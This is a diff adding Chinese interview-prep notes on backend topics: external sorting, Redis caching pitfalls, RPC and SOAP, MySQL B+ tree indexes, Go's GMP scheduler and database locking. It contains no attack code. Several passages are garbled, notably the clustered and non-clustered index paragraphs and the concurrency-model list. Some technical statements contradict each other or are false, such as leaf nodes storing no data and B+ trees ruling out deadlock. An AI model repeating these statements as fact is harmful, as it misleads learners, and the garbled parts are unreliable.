+ str:= string(s) + if !visited[string(s)]{ + queue = append(queue,node{x:cur.x,y:cur.y-1,step:nextStep,Status:str}) + visited[str]=true + } + } + if cur.y+1 处理数据量过大无法全部载入内存的排序技术。要读取和写入硬盘上的数据,并在内存中间对这些数据进行排序。性能主要取决于 I/O 操作。 + +外部排序(External Sorting)是一种可以处理数据量过大无法全部载入内存的排序技术。当待排序数据的大小超出计算机内存的容量时,就需要使用外部排序来进行排序。外部排序通常涉及到读取和写入硬盘上的数据,并在内存中对这些数据进行排序。因此,外部排序的主要性能瓶颈在于 I/O 操作,即从磁盘读取数据和将数据写入磁盘的速度。 + +> 实现外部排序的核心思想是分治法。把待排序的数据分成若干个大小合适块。每次读入一个块的数据并且在内存中间进行排序,排好序的块写回磁盘。然后把排好序的块写回到磁盘。从已排好序的块中间选取一个作为当前的最小值,不断的将最小的数输出到新的文件。直到块中所有的元素都输出,最后将新文件重新命名为原始文件 + +#### 外部排序过程 + +1.数据分块:首先需要将待排序的数据按照一定的大小分成多个块,每个块大小要尽量小于内存的容量。这些块会被逐个读入内存中进行排序。 + +2.内部排序:对于每个块内的数据,在内存中使用经典的排序算法(如快速排序、归并排序等)进行排序操作。 + +3.归并排序(Merging sorted chunks)将已经排好序的块合并为一个大的有序文件。最终输出的文件是由所有排序好的数据组成的,但其中的任意两个元素满足有序性。 + +4.块归并排序的实现:(1)把每个块的第一个元素读入内存,建立最小堆,根据建堆算法,调整堆的结构,使得堆顶部的元素最小。(2)把堆顶元素输出到文件中,并从所属块读取下一个待排序元素放入堆中。如果某块已经没有剩余元素,那么就把堆的大小减去 1(3)直到所有输入文件的元素都被输出到输出文件中。)(4)得到的输出文件就是所有排序的数据组成的。 + +> 不断的通过对每个块的最小的元素不断的比较,选取最小的元素作为待输出的下一个元素。因为每个块都是排好顺的可以保证每次输出都是最小的元素。将有序的小块合并为一个大块,多次合并得到完全有序的输出文件。 + +#### 外部排序复杂度 + +最坏的情况下 +对于多路归并排序算法来说,时间复杂度主要与读写磁盘的次数有关。在最坏情况下,需要进行 $log_B N$ $B$ 为内存可容纳的块大小,$N$ 为待排序数据的总量)每次排序需要读取和写入每个块一遍。因此,总的磁盘 I/O 操作次数为 $2N*log_B N$。 + +### 2.缓存 + +缓存是一种将计算机程序经常需要的数据存储在一个临时存储器或内存中的技术。这样,在后续的请求中,相同的数据可以更快地被检索到。缓存可以减少网络带宽的使用,提高网页加载速度,并降低服务器的负载。通常,浏览器缓存经常访问的文件(如图像和 CSS 文件),以便在下次访问时能够更快地加载页面。在开发中,我们可以使用缓存来优化应用程序的性能。 + +Redis 是一个开源的数据结构服务器,可用作数据库、高速缓存和消息代理。它支持多种类型的数据结构,包括字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)和有序集合(sorted sets)等。Redis 具有极高的性能,在处理大规模数据时表现优异。它通常被用于处理高频查询和写入操作,并可以通过复制和分片来提供高可用性和横向扩展性。同时,Redis 还支持诸如事务、Lua 脚本和发布/订阅等功能。由于其高速、灵活和可扩展的特点,Redis 已经成为了当今广泛使用的数据解决方案之一,被用于构建实时应用程序、互联网应用程序、游戏应用程序等。 + +### 3.缓存和数据库数据不一致的问题 + +#### 分布式缓存 + +**把缓存数据分散到多个缓存服务器。**同时使用缓存协议进行协调。在更新数据的时候先更新缓存,让缓存服务器异步的写入数据库。降低对数据库的读写操作,提高数据库性能的同时还保证了数据一致性。 + +> 1.如果只有一个缓存服务器出现问题或者宕机,那么系统就无法使用了,因为所有的请求都需要访问数据库。 2.把缓存的压力分散到多个服务器,避免单一服务器压力过高。 3.当需要增加缓存容量的时候,只需要添加新的缓存服务器即可。 4.可以通过负载均衡选择最合适的服务器来处理请求。提高系统的性能和稳定。 + +**把数据发送给消息队列,让消息队列异步的写入数据库。**既可以控制消息队列中消息消费的速度,实现了解耦和异步化。减少了对数据库的压力,还保证了数据的一致性。 + +> 具体的过程是:1.(生产者需要更新数据库,并同步更新缓存。)生产者将需要更新的数据写入消息队列,同时等待消费者处理后的确认消息。2.消费者从消息队列中获取到生产者发送的数据更新请求,并且首先更新缓存中的相应数据。3.消费者向消息队列发送“更新成功”的确认消息。 4.一旦生产者收到“更新成功”的确认消息,就开始执行 MySQL 数据库中的数据更新操作。5.当数据更新完成后,生产者向消息队列发送“更新完成”的确认消息。消费者收到“更新完成”的确认消息之后,就可以继续处理下一个数据更新请求了。 + +### 4.MySQl 数据不一致的场景 + +并发更新: + +> 较晚更新覆盖之前的更新。多个用户同时对同一行记录进行更新,最后写入数据库的数据只有最后一个提交的事务所更新的数据.如果两个事务都尝试更新同一时间并将它们保存回 MySQL,则较晚的一个提交将覆盖先前的更改。 + +解决:使用 MySQL 的事务机制保证数据一致性,使用锁机制避免并发更新问题。 + +写操作丢失: +在高并发情况下,如果多个并发操作同时试图写入相同的数据记录,可能会导致某些写操作被覆盖,因此不能正常保存到数据库中。 + +解决方案:让每个写操作单独获得锁,以确保每个写操作都成功,并且它们的顺序正确。 + +数据库故障: + +当 MySQL 崩溃或发生硬件故障时,可能会丢失最近的事务,从而导致数据文件中的数据与缓存数据不一致。 +解决方案: + +使用 MySQL 的备份机制,定期将数据库备份到另一个位置或使用主从复制机制自动备份。 +使用 MySQL 的 redo 日志或 binlog 来恢复丢失的数据。 + +### 5.Redis 中数据不一致的场景 + +1.缓存穿透 + +当大量请求同时查询缓存中不存在的相同数据时,会导致所有的请求都绕过缓存访问数据库,从而使数据库负载骤增。更糟糕的是,如果有人故意发送这种类型的请求,则可能会使服务器崩溃。 + +解决方案:使用布隆过滤器或其他缓存穿透技术来防止缓存穿透。 + +2.缓存击穿 + +热点数据过期,当某个热点数据在缓存中失效后,大量请求会同时访问数据库,从而使数据库负载骤增。这被称为缓存击穿。 + +解决方案:互斥锁和分布式锁。在互斥锁或者分布式锁的机制中:当某个请求发现缓存中间不存在所需要的数据,那么该请求就会试图获取一个锁,其他的请求同时到达并尝试更新相同的数据时,它们将会被阻塞,直到第一个请求完成并释放锁。这样就避免了多个请求同时访问数据库的情况。 + +使用互斥锁或分布式锁来解决缓存击穿问题的过程一般是这样的: +(1)当 A 请求找不到对应的缓存值,先获取一个独占锁:`SETNX`命令 +(2)如果操作成功(试图加锁),则说明当前请求获得了锁锁,可以开始加载数据,设置缓存值,释放锁。 +(3)如果获取锁失败,说明其他请求正在加载数据,那么 A 请求可以选择等待一段时间后重试。或者立即响应一个友好的`Response` + +3.缓存雪崩 + +缓存雪崩是指缓存中大量的数据在同一时间过期失效,导致请求直接打到数据库上,从而压垮数据库的现象。 + +> 大量相同的 key 同时失效:如果应用系统中的大量缓存 key 同时失效,会导致大量请求落到数据库上,导致服务器压力骤增。 + +> 热点数据集中过期:在某些场景下,热点数据的访问频率很高,当这些数据过期后,大量请求会直接命中数据库,导致数据库短时间内承受大量流量。 + +> 缓存服务器故障:例如网络异常、内存耗尽等,导致缓存服务不可用。 + +解决方案:热点数据随机过期+热点数据不过期+多级缓存(本地缓存和分布式缓存)+限流+降级+监测。 + +4.Redis 持久化机制错误配置 + +如果 Redis 的持久化配置不正确,就会产生数据不一致性的情况,比如 AOF 日志不及时落盘,数据丢失等。 + +解决方案:在 Redis 中正确配置持久化机制,以确保数据持久化的稳定性和完整性 + +### 6.虚拟内存 + +虚拟内存是操作系统的一个抽象层。 +可以访问大于物理内存容量的地址空间。 + +底层实现: + +1 页面分配:虚拟内存把进程的地址空间分为大小相同的页,每一页都有唯一的标识符。进程需要新的内存页的时,操作系统为他分配未使用的物理页,并映射到对应的物理地址。 +2 换页:如果物理内存不足,那么操作系统会通过换页机制将不常用的页面换出,如果进程需要访问被换出的页面,就会触发缺页异常,操作系统会重新从磁盘读取出物理内存并更新该页面的映射关系。 +3 页面保护:虚拟内存为每个页面设置访问权限和保护权限,只读/可执行。 +4 TLB 管理。TLB(Translation Lookaside Buffer)是硬件缓存加速虚拟地址到物理地址的映射。 + +> 分页+换页+权限控制+硬件缓存 + +### 7.LRU 缓存淘汰算法 + +LRU 是一种常用的缓存淘汰算法,其全称为 Least Recently Used,即最近最少使用。其核心思想是优先淘汰最近最少使用的缓存块,从而保留经常使用的缓存块,提高访问效率。LRU 算法的底层实现通常有以下几种方式: + +1 双向链表 + +使用一个双向链表表示缓存块的使用顺序,将最新访问的块加入到链表的头部,每次淘汰的时候删除链表尾部的缓存块。 + +2 哈希表+双向链表 + +双向链表虽然实现简单,但是在查找特定节点的时候需要遍历整个链表,效率低。这个时候如果维护一个哈希表,那么可以在 O(1)的时间内,快速获取到指定的缓存块,加速淘汰操作。 + +需要注意的问题有哪些? + +> 多线程并发访问需要加锁。在 golang 中间我如果使用 HashMap + 双向链表 ,golang 的 map 线程不安全。 + +> Map 线程不安全是因为:一个协程正在往 Map 插入(或者)删除元素,另外一个协程正在进行读取操作。就会出现数据不一致的情况。因为在插入元素的时候,Map 内部对 bucket 进行 RESIZE 操作,这会导致某些 bucket 的指针指向发生改变,但是正在读取的 bucket 的协程并不能感知到这种改变,从而读取到错误的结果。 + +> Go1.9 及之后版本中新增了一种线程安全的 Map 类型——sync.Map,它是一种高效的并发安全哈希表,可以安全地被多个协程并发访问,而不需要额外的锁或同步机制。但需要注意的是,在使用 sync.Map 时,需要注意其操作的原子性和数据一致性问题。如果需要对整个 map 进行遍历、复制等操作,还需要通过加锁的方式进行保证。 + +### 8.RPC + +RPC 远程过程调用协议:允许程序直接调用另外一台机器上的函数或者方法获取结果。 + +RPC 框架把这个过程封装起来了,使得客户端和服务端不用关心底层细节,像调用本地一样调用远程。 + +RPC 模型设计两个角色一个客户端一个服务端。 +客户端向服务端发起调用请求,通过传递参数来指定需要调用的函数名,需要的参数。服务端收到请求的时候,更具客户端传递的信息,在自己的环境中执行对应的函数,并把结果返回给客户端。客户端解析得到返回值。 + +RPC 协议有:JSON-RPC XML-RPC SOAP +RPC 协议可以使用 JSON-RPC、XML-RPC 和 SOAP 等多种不同的传输协议 + +> JSON-RPC:使用 JSON 格式进行编码和解码,通常用于轻量级的数据交换场景。 + +> XML-RPC:使用 XML 进行编码和解码,通常用于较为复杂的数据交换场景。 + +> SOAP:基于 XML 实现,提供了更为完整的消息传递机制(如安全性、事务管理等),适用于大规模的企业级应用开发。 + +> Golang 中,标准库中已经集成了 RPC 支持,提供了 net/rpc 包和 net/rpc/jsonrpc 包。其中,net/rpc 包使用 Go 语言自带的 gob 进行序列化和反序列化,而 net/rpc/jsonrpc 包则使用 JSON 来进行数据传输。 + +> 在 Go 语言中,net/rpc 包使用 gob(Go Binary)进行参数和返回值的序列化和反序列化。gob 是一个 Go 语言自带的二进制编码/解码库,它专门用于将 Go 中的结构体和基本数据类型序列化成二进制流,同时具有高效性和跨平台性能,因此非常适合用于网络传输。由于 gob 只能与 Go 语言交互,因此不支持和其他语言之间的交互操作。 + + +> HTPP在分布式和微服务下也可以实现节点之间的请求啊?为什么需要RPC呢? + +抽象级别: + +HTTP:基于资源的通信,通常采用 RESTful 设计。客户端知道要通过特定的 URL 和 HTTP 方法(如 GET、POST)进行交互。 +RPC:基于功能或方法的通信。客户端像调用本地函数一样调用远程服务的函数或方法。 + +数据格式: +HTTP (RESTful):通常使用 JSON 或 XML 作为数据交换格式。 +RPC:可以使用各种数据格式,如 Protocol Buffers、Thrift、JSON-RPC 等。 +性能:因为 RPC 可以使用如 Protocol Buffers 这样的紧凑的二进制格式,所以它通常比 JSON 或 XML 的 HTTP 通信更快、更高效。 + +类型安全:使用 Protocol Buffers 或 Thrift 这样的 RPC 框架,可以在编译时捕获类型相关的错误,而 HTTP/REST 通常在运行时处理这些错误。 + +服务发现和负载均衡:某些 RPC 框架(如 gRPC)内置了服务发现和客户端负载均衡的功能。 + +跨语言支持:RPC 框架如 gRPC 和 Thrift 支持多种编程语言,允许不同语言的服务间进行无缝通信。 + +流式传输:某些 RPC 框架(如 gRPC)支持双向流式通信,而标准的 HTTP/REST 通常不支持。 + +紧密耦合 vs 松散耦合: + +HTTP:倾向于更加松散地耦合,使得服务间的交互更为灵活。 +RPC:可能导致更紧密的耦合,但也可以实现更高效和严格定义的交互。 + + +```shell +在一个动态变化的分布式环境中,服务可能会在不同的机器或容器上启动或关闭。因此,硬编码的服务地址或端口号是不可行的。这就需要一个动态的方式来找到运行的服务实例的当前地址。这就是服务发现的作用。 + +工作原理: + +注册:当一个服务实例启动并准备好接受请求时,它会向服务发现系统(如 Consul、Etcd 或 ZooKeeper)注册自己,包括其 IP 地址、端口和其他可能的元数据。 + +发现:RPC 客户端在需要调用某个服务时,会查询服务发现系统以获取这个服务的可用实例列表。 + +健康检查:服务发现系统会定期地对所有注册的服务实例进行健康检查。如果某个实例没有响应,那么它将被标记为不健康,并从可用服务列表中移除。 + +RPC 的客户端负载均衡: + +客户端负载均衡是直接在 RPC 客户端内部进行的请求分发。 + +工作原理: + +服务列表:RPC 客户端首先从服务发现系统获取一个服务的所有可用实例列表。 + +选择策略:客户端会根据某种策略选择一个服务实例发送请求。常见的策略包括轮询、最少连接、加权轮询等。例如,轮询策略会依次将请求发送到服务列表中的每个实例。 + +健康检查:客户端可能还会执行其自己的健康检查,确保所选择的实例真的是可达和健康的。 + +动态更新:如果服务实例列表发生变化(例如,新实例加入或旧实例失败),客户端会动态更新其内部的服务列表,确保始终向健康的实例发送请求。 +``` +#### SOAP + +SOAP(Simple Object Access Protocol)是一种基于 XML 和 HTTP(或 SMTP 等其他协议)的消息传递协议,主要用于分布式应用程序之间的通信。 + +```xml + + + + http://example.com/Some/Endpoint + + http://example.com/Some/OtherEndpoint + + urn:uuid:12345678-1234-5678-1234-567812345678 + + + Hello, World! + + +``` + +> 基于 XML 实现:SOAP 的消息体采用 XML 格式编写,便于跨平台和语言进行数据传输 + +> 完整的消息传递机制:SOAP 提供了完整的消息传递机制,包括消息头、消息体和消息尾等部分,可以支持各种复杂的消息交互模式,并提供了安全性、事务管理、可靠性等方面的支持。 + +> 与 Web Service 相关联:SOAP 是 Web Service 技术中最核心的一部分,通过 SOAP 协议,不同的 Web Service 可以进行互联互通,并实现各种业务功能。 + +> 支持多种协议:SOAP 不仅支持 HTTP 协议,还支持 SMTP、FTP 等多种协议,能够满足不同场景下的需要。 + +#### RPC-分布式系统中的服务调用场景 + +分布式系统中的服务调用:在分布式系统中,各个计算机之间可能需要进行函数调用或方法调用,以实现不同节点之间的数据共享和信息交互。RPC 协议可以让这些不同节点使用相同的远程调用方式,使得不同计算机之间提供的服务能够相互配合工作,完成更为复杂的业务需求。 + +作用: **实现不同节点之间的直接调用**RPC 是底层的通信协议。 + +> 应用程序在多个计算机上部署,每个计算机的实例可以提供不同的服务-分布式系统 + +在此类系统中,不同的服务调用可能会发生在不同的计算机上,而且它们通过网络进行交互。 + +> 当我们进行 RPC 服务调用的时候,各个实例节点上的服务被我们以远程调用的方式执行并得到执行的结果。让分布式系统的不同计算机之间提供的服务可以协同工作。 + +> 跨计算机调用服务的场景。假设我们有一个电商网站,需要在不同的服务器上运行不同的模块,如用户管理、订单管理、库存管理等。这些模块需要通过远程服务进行通信,如下单时需要查询库存情况,这就需要用到跨计算机调用服务的场景,RPC 协议就足以实现这样的远程调用。 + +当我们使用 RPC 进行服务调用时,各个节点之间会以远程调用的方式来执行函数或方法,并将返回值传递回来。因此,它可以让分布式系统中的不同计算机之间使用相同的函数调用或方法调用方式,从而使得不同计算机之间提供的服务能够协同工作,完成更为复杂的业务需求 + +#### RPC-微服务场景 + +微服务场景下,系统通常是被拆分成多个小型的服务,小型的服务之间需要频繁的调用和通信。RPC 作为一种轻量级、高效、可扩展的通信协议,非常适合在微服务架构中使用。 + +#### 底层实现 + +1 序列化和反序列化 +因为通过网络传输数据,需要把传输的数据序列化和反序列化。常用的序列化框架有 Protobuf、Thrift 等。 + +2 服务注册和发现 + +具体的服务实例地址可能不断的发生变化,需要使用服务注册中心来管理个各个服务实例的状态 + +3 负载均衡 + +一个服务有多个实例的,需要使用负载均衡器确保 RPC 请求被均匀的分配到各个实例上。常用的负载均衡器有 Nginx、HAProxy 等 + +#### RPC-远程对象场景 + +远程对象场景通常是指:一个进程或计算机节点访问另外一个进程或计算机节点的对象。 + +这种情况下,RPC 是作为可靠的通信机制,帮助不同节点指尖进行对象交互和传输,帮助不同节点之间进行对象交互和数据传输。 + +具体来说,当一个对象需要被远程调用时,在调用方发送 RPC 请求后,RPC 框架会将请求传递给远程节点,由远程节点接受并执行请求。然后,远程节点会将执行结果返回给调用方。 + +好处: 通过 RPC 可以隐藏系统底层的网络通信细节,使得远程对象调用变得更加简单和透明。 +通过 RPC 可以使不同节点之间的远程对象调用具有良好的性能和可靠性,因为 RPC 框架通常会自动处理网络延迟、请求重试、故障转移等问题。 +通过 RPC 可以支持跨平台、跨语言的对象调用,因为 RPC 框架通常可以提供相应的协议和序列化方案。 + + +### 9.RPC 在微服务和分布式场景下的区别 + +分布式系统中间 RPC 被视为是底层的通信协议。实现不同节点之间的直接调用。 + +在典型的分布式场景下,多个节点部署在不同的物理机器,这些节点需要通过网络进行通信。在这种情况下,RPC 负责把请求从一个节点传递到另外一个节点,并把响应结果返回给调用方。 + +微服务架构下,RPC 被视为是高级的通信协议。实现不同服务之间的调用和协作。 + +具体来说,当一个系统被拆分成多个小型的服务时,这些服务之间需要频繁地进行通信和调用。在这种情况下 RPC 负责把服务之间调用请求传递,返回结果给调用方。但是在微笑服务架构下 RPC 要和`服务注册和发现` `负载均衡技术` 实现更高效的服务调用方式。 + +### 10. MYSQL 用 B+树做查询? + +**多叉树/从根到叶子节点只有一条路径/叶子节点大小是磁盘块大小的整数倍(可以把多个节点读入内存)/基于排序的数据结构,通过遍历算法实现快速定位某个区间的数据/** + +1.B+树是自**平衡的多叉树**。支持对数级别查找复杂度。B+树的每次查找操作都是用根节点到叶子节点的**一条路径**。而且 B+树中的节点大小被设置为**磁盘块大小的整数倍**。I/O 操作可以把多个节点度入内存。 + +> 从根到叶子节点只有一条路径: B+ 树的内部节点存储索引值,不存储数据记录。数据记录存储在叶子节点。在进行查找的时候,每个节点中都会包含一个索引值,用来指导下一步查找的方向。 + +> 从根节点开始,获取它的子节点列表以及它们对应的索引值列表。根据要查找的关键字,在子节点列表中选择一个最靠近该关键字的节点,然后跳转到该节点进行下一步查找。重复以上步骤,直到找到一个叶子节点为止。这个叶子节点中将包含需要查找的具体数据记录。 + +2.B+树是一种基于**排序的数据结构**,它的每个节点都按照某种顺序存储关键字,并且**相邻节点之间也是有序的**。这种有序性可以使得范围查询变得更加高效,因为它可以通过 B+树的遍历算法实现快速地定位某个区间的数据。 + +3.B+树的多叉结构+自平衡机制,使得它可以在高并发的场景下表现良好。叶子节点不存储数据记录,并发写入的时候不存在死锁。B+树的非叶子节点有多个子节点,降低节点分裂的频率和代价,减少写入的开销。 + +> B+树的叶子节点只负责存储数据记录,而不保存任何索引信息。这一特点使得 B+树在高并发读写场景下表现良好。具体来说,当需要进行查找或更新某个数据记录时,可以利用 B+树结构从根节点开始快速定位到相应的叶子节点,然后直接读取或修改该节点中的数据记录。由于 B+树的节点通常被设置为磁盘块大小的整数倍,每次读取一个节点就可以将其全部载入内存,这样可以有效地减少磁盘 I/O 的次数,提高查询效率。 + +> B+树的非叶子节点有多个子节点,能够降低节点分裂的频率和代价的原因如下:1.减少节点分裂的触发条件:B+树的节点分裂是在节点中元素数量达到阈值时触发的,而非叶子节点有多个子节点时,节点分裂需要的元素数量也相应增加了。这样可以减少节点分裂的触发条件,避免不必要的结构调整。2.如果非叶子节点的子节点数目较多,那么每个子节点包含的元素数量就会相对减少。在这种情况下,如果该节点需要进行分裂,那么它只需要将其中的一部分子节点和元素重新分配到一个新的节点中,而另一个子节点则保持不变。由于每个子节点包含的元素数量较少,所以节点分裂的代价也会相应减小。 + +> 自平衡机制是指当插入或删除节点时,B+树会自动调整结构以保持树的平衡,从而避免在高并发读写场景下出现性能问题。具体而言,当插入或删除节点后导致某个节点的子树高度不平衡时,B+树会通过节点的分裂或合并等操作来调整该节点及其祖先节点的结构,使得整棵树重新达到平衡状态。 + +> 节点分裂是指当某个节点中元素过多而需要拆分成两个节点时,B+树会将该节点中一半的元素移动到新创建的兄弟节点中,并将兄弟节点与原节点之间建立适当的连接关系,从而维持树的平衡。 + +> 节点合并是指当某个节点中元素过少而需要与其兄弟节点合并时,B+树会将该节点中的所有元素移动到其兄弟节点中,并且将这两个节点从父节点中删除,同时将它们的父节点也适当地向下移动,从而仍然保持树的平衡。 + +> 通过这些自平衡机制,B+树能够在高并发读写场景下保持较高的查询效率和数据一致性,从而被广泛地应用在数据库系统等领域。 + +4.**B+树非叶节点上是不存在存储数据的,只存在存储键值,而 B 树节点中不只存在存储键值,也会存在存储数据。并且 B+树的所有数据记录按顺序存储在叶子节点。使得范围查找,排序查找,分组查找很简单。B+树各页指尖是双向表链接,叶子节点之间单向表链接** + +> MyISAM 中的 B+树查询实现与 innodb 中的略有不同。在 MyISAM 中,B+树查询的叶节点并不存在存储数据,而是存储数据的文件地址。 + +#### 聚集索引 + +如果使用聚集索引,在存储数据时会按照索引顺序对数据行进行排序,并且每个叶子节点上存储了整个数据行的信息。这样,当我们通过这个索引查询数据时,数据库可以快速定位到对应的数据行,并直接返回给我们需要的结果。 + +聚集索引(聚集索引):以 innodb 作为存储引力的表,表中的数据都会有一个主键,即使不创建主键,系统也会帮助创建 db 个隐式是隐式的是误数据存放在 B+树中的,而 B+树的键值就是主键,在 B+树的叶节点中,存贮了表中所有的数据。这种以主键作 B+树引的键值而构造的 B+树,索式我们称之为聚集索引。 + +#### 非聚集索引 + +以主键以外的列表值作为按键值构建的 B+树搜索引,我们称之为非聚集搜索引。于非聚集索引的叶子节点不存表中的数据,而且是存储该列表对应的主键,想找数据我们还需要根据主键再去聚集搜索中进行查找,这个再根据表格整理集合过程,我们称之为返回表。 + +#### 在 B+树中如何进行数据的查询? + +> https://github.com/lifei6671/interview-go/blob/master/mysql/mysql-index-b-plus.md + +![https://github.com/lifei6671/interview-go/blob/master/images/ieHie2ur2ooh.webp]() + +一般根据节点都是常驻内存的,也就是说页 1 已经内存了,此时不需要到磁盘中读取数据,直接从内存中读取即可。从内存中读到页 1,要查找这个 id>=18 and id <40 或者其范围值,我们首先需要找到 id=18 的键值。从页 1 中我们可以找到键值 18,此时我们需要根据指针到 p2。 + +要从页 3 中查找数据,我们就需要拿着 p2 指针去磁盘中进行读取页 3。 从磁盘中读取页 3 后将页 3 放入内存中,然后进行查找,我们可以找到键值 18,然后再拿到页 3 中的指针 p1,定位到页 8。 + +同样的页 8 页不在内存中,我们需要再去磁盘中将页 8 读取到内存中。 将页 8 读取到内存中后。因为页中的数据是链表进行连接的,而且键值是按照顺序存放的,此时可以根据二分查找法定位到键值 18。 此时因为已经到数据页了,此时我们已经找到一条满足条件的数据了,就是键值 18 对应的数据。 因为是范围查找,而且此时所有的数据又都存在叶子节点,并且是有序排列的,那么我们就可以对页 8 中的键值依次进行遍历查找并匹配满足条件的数据。 我们可以一直找到键值为 22 的数据,然后页 8 中就没有数据了,此时我们需要拿着页 8 中的 p 指针去读取页 9 中的数据。 + +因为页 9 不在内存中,就又会加载页 9 到内存中,并通过和页 8 中一样的方式进行数据的查找,直到将页 12 加载到内存中,发现 41 大于 40,此时不满足条件。那么查找到此终止。 最终我们找到满足条件的所有数据为:(18,kl),(19,kl),(22,hj),(24,io),(25,vg),(29,jk),(31,jk),(33,rt),(34,ty),(35,yu),(37,rt),(39,rt) 总共 12 条记录。 + +### GMP + +> https://github.com/lifei6671/interview-go/blob/master/base/go-gpm.md + +并发模型有七种: +线路与锁 +函数式编程 +Clojure 之道 +演员 +通讯顺序进程(CSP) +数据等级并行 +Lambda 架构 + +Goroutine:就是我们经常使用的用 go 键创建的执行体,它对应一个结构体 g,结构体里保存了 goroutine 的堆信息。 + +```go +type g struct { + stack struct { + lo uintptr + hi uintptr + } // 栈内存:[stack.lo, stack.hi) + stackguard0 uintptr + stackguard1 uintptr + + _panic *_panic + _defer *_defer + m *m // 当前的 m + sched gobuf + stktopsp uintptr // 期望 sp 位于栈顶,用于回溯检查 + param unsafe.Pointer // wakeup 唤醒时候传递的参数 + atomicstatus uint32 + goid int64 + preempt bool // 抢占信号,stackguard0 = stackpreempt 的副本 + timer *timer // 为 time.Sleep 缓存的计时器 + + ... +} +``` + +Machine:操作系统的线程。M 等于 CPU 个数的原因是:每个 m 分配到一个 CPU 上,就不会出现线程的上下问的切换。其中有两个比较重要的东西:一个保存当前正在 Machine 上执行的 g ,另外一个深度参与运行时的调度过程,比如 g 的创建,内存分配等等。 + +```go +type m struct { + g0 *g + curg *g + ... +} +``` + +Processor:性能追踪、垃圾回收、计时器等相关的字段外,还存储了处理器的待运行队列,队列中存储的是待执行的 Goroutine 列表。负责把 Goroutine 绑定到 M 上执行。 + +```go +type p struct { + m muintptr + + runqhead uint32 + runqtail uint32 + runq [256]guintptr + runnext guintptr + ... +} +``` + +过程: + +1.默认启动四个线程四个处理器,然后互相绑定 2.一个 G 结构体被创建,在进行函数体地址、参数起始地址、参数长度等信息以及调度相关属性更新之后,它就要进到一个 P 的队列。 3.又创建了一个 G?那就轮流往其他 P 里面放呗 4.假如有很多 G,都塞满了怎么办呢?那就不把 G 塞到处理器的私有队列里了,而是把它塞到全局队列里(候车大厅)。5.M 这边还要疯狂往外取,首先去 P 的私有队列里取 G 执行,如果取完的话就去全局队列取,如果全局队列里也没有的话,就去其他 P 里偷。6.如果哪里都没找到要执行的 G 呢,那 M 就会因为太失望和 P 断开关系,然后去睡觉(idle)7.如果两个 Goroutine 正在通过 channel 阻塞住了怎么办,难道 M 要等他们完事了再继续执行?显然不会,M 会转身去找别的 G 执行。8. **当 G 跟进系统调用 syscall,那么 M 也会跟进系统调用。那么这个时候 P 会寻找其他比较闲的 M 执行其他的 G** 。当 G 执行完系统调用,再寻找一个空闲的处理器发车。如果没有处理器就会把 G 放入到全局队列中间等待分配。 + +### 数据库的并发模型 + +> 乐观锁的机制是:先获取资源的版本信息,在更新的时候比较版本是否一致,如果被修改,那么就回滚或者重试。如果没有被修改,那么就提交。并发量比较高的情况下,乐观锁会导致很多次的无效的版本比对(然后冲突重试)增加了系统开销,降低了吞吐率和响应速度。 + +1- 乐观锁模型:与悲观锁不同,乐观锁认为多数情况下数据访问不会出现冲突,因此不需要提前上锁,而是在提交修改时检查数据是否被其他用户修改过。如果没有修改,则提交成功;否则需要回滚并重新尝试。 + +> 写操作频繁的情况下,悲观锁更适合保证数据的一致性。悲观锁机制下,事务对某个资源进行修改的时候,会先获取到该资源的独占锁。阻塞其他事务对该资源的任何读或者写操作。确保当前事务修改完后对该资源进行读或者写操作的时候可以获取到最新的数据,从而保证数据的一致性。 + +2- 悲观锁模型:即认为多个用户同时访问同一数据时可能会出现冲突,因此在访问前就对数据进行上锁,只允许一个用户进行访问和修改。悲观锁的实现方式包括排他锁和共享锁。排他锁是指一个事务在对某个数据进行操作时,其他事务无法同时访问该数据;共享锁则是多个事务可以同时读取同一份数据,但不能同时修改。 + +> 在读多写少的情况下,可以减少锁的使用并发效能。 + +3-MVCC(多版本并发控制)模型:MVCC 是一种既支持高并发,又能保证一致性的并发模型,其核心思想是在每次写操作时都创建一个新的版本,读操作可以访问历史版本或当前版本。这样,在并发读写时就不需要加锁,从而提高了数据库的并发性能。 + +#### MySQL 默认的并发模型和优化策略 + +MySQL 默认的并发模型是悲观并发控制(Pessimistic Concurrency Control,PCC)。在 PCC 模型下,MySQL 使用了诸如共享锁和排他锁等机制来保证数据并发读写时的正确性和一致性。其优化策略主要包括: + +1- 尽量使用索引:使用合适的索引可以提高查询效率,减少全表扫描的开销。 + +2- 优化查询语句:避免使用子查询、不必要的联表查询会影响查询性能的语句。同时,尽可能减少查询结果集大小,只查询需要的列。 + +3- 合理设置缓存:通过调整配置项,合理设置缓存大小,提高缓存命中率 + +4- 水平拆分:水平拆分是指将同一表的数据拆分到多个数据库或多张表中 + +> 假设有一个订单表,其中包含了所有用户的订单信息。如果这个表的数据量很大,那么可能会导致查询变慢,甚至出现性能瓶颈。为了解决这个问题,可以考虑对该订单表进行水平拆分。 + +> 一种可能的做法是按照订单的创建时间,将所有订单记录按照月份拆分到不同的数据库节点(或者不同的数据表中),比如将 2019 年 1 月份的订单记录放在一个数据库节点中,将 2019 年 2 月份的订单记录放在另一个数据库节点中,以此类推。这样一来,每个数据库节点只需要处理一部分订单记录,查询和更新的效率就会得到提高。 + +> 具体实现时,可以使用一些分库分表的工具或框架来完成数据的划分和迁移。比如 MYSQL 中可以使用 MyCAT,ShardingSphere-JDBC 等框架老实现分库分表。这些底层框架在底层都是利用 MYSQL 的分区特性,把数据按照一定的规则进行划分和路由。 + +> ShardingSphere-JDBC 是一个分布式数据库中间件 + +> 在实现数据水平拆分时,ShardingSphere-JDBC 主要通过以下几个步骤来利用 MySQL 的分区表特性,将数据按照一定规则进行划分和路由:1.定义分片键(Sharding Key)。比如订单创建时间。即用于区分不同数据节点的字段或字段组合。例如,可以根据订单创建时间、用户 ID 等字段来定义分片键。2.定义分片算法(Sharding Algorithm):根据分片键的取值,通过分片算法计算出具体的数据节点或数据表 ShardingSphere-JDBC 支持多种分片算法,如基于取模或哈希等方式的分片算法。3. 建立分片键+分片算法+数据节点+数据表的映射关系进行绑定。4.建立分片表(Sharding Table):根据分片规则,在物理数据库中创建对应的分片表。例如,如果按月份拆分订单表,则需要在每个物理数据库上都创建 12 个分片表。5. 当请求到达 ShardingSphere-JDBC 中间件的时候,根据 SQL 语句的分片条件,通过分片算法计算出具体的数据节点或者数据表,将查询请求路由到对应的数据库。例如,按照用户 ID 进行分片,如果有 10 个物理节点,每个节点将会创建 10 张分片表,分别对应其他 9 个节点上的用户数据。 + +5- 